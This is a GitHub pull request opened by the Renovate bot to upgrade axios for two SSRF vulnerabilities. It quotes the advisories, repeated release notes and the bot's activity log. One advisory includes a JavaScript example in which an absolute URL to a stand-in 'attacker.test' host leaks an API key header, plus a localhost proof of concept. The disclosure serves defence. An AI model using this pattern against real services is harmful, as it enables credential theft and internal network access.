Skip to content

Update dependency axios to v1.8.2 [SECURITY]#327

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-axios-vulnerability
Open

Update dependency axios to v1.8.2 [SECURITY]#327
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-axios-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Aug 14, 2024

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.7.21.8.2 age confidence

GitHub Vulnerability Alerts

CVE-2024-39338

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Severity

High

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
Severity
  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Release Notes

axios/axios (axios)

v1.8.2

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.1

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.0

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.7.9

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

1.7.4 (2024-08-13)

Bug Fixes
Contributors to this release

1.7.3 (2024-08-01)

Bug Fixes
Contributors to this release

1.7.2 (2024-05-21)

Bug Fixes
Contributors to this release

1.7.1 (2024-05-20)

Bug Fixes
  • fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#​6410) (733f15f)
Contributors to this release

v1.7.8

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES
  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for cu

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
Copy link
Copy Markdown
Contributor Author

renovate bot commented Aug 14, 2024

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from d0f26fe to 1a336e0 Compare June 30, 2025 22:43
@renovate renovate bot changed the title Update dependency axios to v1.7.4 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Jun 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 1a336e0 to 4d9fd04 Compare September 14, 2025 00:07
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.12.0 [SECURITY] Sep 14, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from aed85dd to 162b03b Compare September 29, 2025 22:44
@renovate renovate bot changed the title Update dependency axios to v1.12.0 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Sep 29, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 162b03b to 2ec29a5 Compare September 30, 2025 09:06
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.12.0 [SECURITY] Sep 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 2ec29a5 to 970ad01 Compare September 30, 2025 22:38
@renovate renovate bot changed the title Update dependency axios to v1.12.0 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Sep 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 970ad01 to 0bd1d80 Compare October 21, 2025 16:04
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 0bd1d80 to 89a0c0a Compare February 11, 2026 04:53
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.13.5 [SECURITY] Feb 11, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 89a0c0a to abe1708 Compare February 12, 2026 00:46
@renovate renovate bot changed the title Update dependency axios to v1.13.5 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Feb 12, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from abe1708 to 8f76c19 Compare February 20, 2026 05:07
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.13.5 [SECURITY] Feb 20, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 8f76c19 to 045124d Compare February 21, 2026 00:26
@renovate renovate bot changed the title Update dependency axios to v1.13.5 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Feb 21, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 045124d to e9a4ef9 Compare February 22, 2026 05:38
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.13.5 [SECURITY] Feb 22, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from e9a4ef9 to 8871c93 Compare February 22, 2026 22:04
@renovate renovate bot changed the title Update dependency axios to v1.13.5 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Feb 22, 2026
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch March 27, 2026 01:13
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] - autoclosed Update dependency axios to v1.8.2 [SECURITY] Mar 30, 2026
@renovate renovate bot reopened this Mar 30, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 8871c93 to 0a6ab86 Compare March 30, 2026 17:42
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 0a6ab86 to 26860a6 Compare April 11, 2026 16:43
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.15.0 [SECURITY] Apr 11, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 26860a6 to c30e59b Compare April 13, 2026 13:10
@renovate renovate bot changed the title Update dependency axios to v1.15.0 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Apr 13, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from c30e59b to bd75109 Compare April 15, 2026 12:33
@renovate renovate bot changed the title Update dependency axios to v1.8.2 [SECURITY] Update dependency axios to v1.15.0 [SECURITY] Apr 15, 2026
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from bd75109 to b9140db Compare April 17, 2026 05:25
@renovate renovate bot changed the title Update dependency axios to v1.15.0 [SECURITY] Update dependency axios to v1.8.2 [SECURITY] Apr 17, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants